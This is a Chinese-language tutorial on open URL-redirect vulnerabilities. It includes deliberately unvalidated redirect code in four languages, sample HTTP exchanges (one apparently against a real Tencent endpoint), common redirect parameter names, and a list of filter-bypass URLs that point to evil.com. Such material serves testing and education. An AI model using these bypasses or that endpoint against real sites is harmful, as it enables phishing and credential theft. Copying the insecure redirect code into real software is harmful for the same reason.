0x00 URL重定向漏洞危害
当web应用程序接受不受信任的输入时,可能会导致web应用程序将请求重定向到包含在不受信任的输入中的URL,此时可以进行未经验证的重定向和转发。
通过修改恶意站点的不可信URL输入,攻击者可能成功地启动钓鱼骗局并窃取用户凭证。
简单点的说他的危害: 我打开腾讯的一个页面结果它有URL重定向漏洞导致跳转过去的用户被精心设置的钓鱼页面骗走自己的个人信息和登录口令。
0x01 漏洞发生场景
- 用户登录、Oss单点登录(认证完后会跳转)
- 用户退出、Oss登录退出(退出时会跳转到之前的页面)
- 用户分享(分享内容以后会跳转)
- 用户点击广告页面(点击广告链接,可能先跳转到一个接口记录日志在跳转至广告界面)
- 注册用户处(注册成功以后跳转至原界面)
- 网站404倒计时跳转
总的来说就是一切存在着301/302协议以及存在参数可控情况下,那么就有可能造成url重定向漏洞
0x02 测试代码
# Java
response.sendRedirect(request.getParameter("url"));
# PHP
<?php
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
# .NET
string redirect_url = request.QueryString["url"];
Response.Redirect(redirect_url);
# Django
redirect_url = request.GET.get("url")
HttpResponseRedirect(redirect_url)
可利用这些简单的代码自行搭建测试
0x02.1 简单例子
# redirect_url.php
<?php
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
http://aphp.test/redirect_url.php?url=https://github.com/phpooop
0x02.1.1 跳转请求包
# Request:
GET http://aphp.test/redirect_url.php?url=https://github.com/phpooop HTTP/1.1
Host: aphp.test
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
# Response:
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.11.9
Date: Tue, 09 Apr 2019 11:16:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Location: https://github.com/phpooop
Content-Length: 0
假设http://aphp.test是一个用户量很高的界面,我发QQ群之类的地方用户一点击就会跳转到我的github
0x02.2 例子2: 腾讯重定向漏洞
0x02.2.1 跳转请求包
# Request:
GET http://htdata2.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https://github.com/phpooop&wd=&eqid=c1558f51000079ee0000000555c103aa HTTP/1.1
Host: htdata2.qq.com
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: 不给你
# Response:
HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html
Server: QZHTTP-2.37.5
Location: https://github.com/phpooop
Content-Length: 26
<html><body></body></html>
0x03 常见的参数名
redirect、redirect_to、redirect_url、url、jump、jump_to、target、to、link、linkto、domain、Out、Dout、go、return、returnTo、logout、register、login、returnUrl、path、redirectURI、redir、returl、share、wap、src、source、u、display、sourceURl、imageURL、linkurl、RedirectUrl、service、redirect_uri、destUrl
0x04 绕过过滤方法
- 注意点:
- http://auth.app.com = 合法域名
- evil.com = 恶意域名
- http://auth.app.com.evil.com
- http://evil.com?http://auth.app.com
- http://auth.app.com@evil.com
- http://evil.com?@http://auth.app.com
- http://auth.app.com@evil.com
- http://evil.comhttp://auth.app.com)
- http://evil.com:http://auth.app.com)
- http://evil.com.auth.app.com
- http://evil.com:@http://auth.app.com
- http://evil.com#http://auth.app.com
- http://evil.com\auth.app.com
- /evil.com?http://auth.app.com
- //evil.com?http://auth.app.com
- 输入IPV6地址绕过用10进制、8进制、16进制形式表示
- http://auth.app.com%evil.com (苹果浏览器跟QQ浏览器中可以跳转)
- http://auth.app.com~evil.com (苹果浏览器跟QQ浏览器中可以跳转)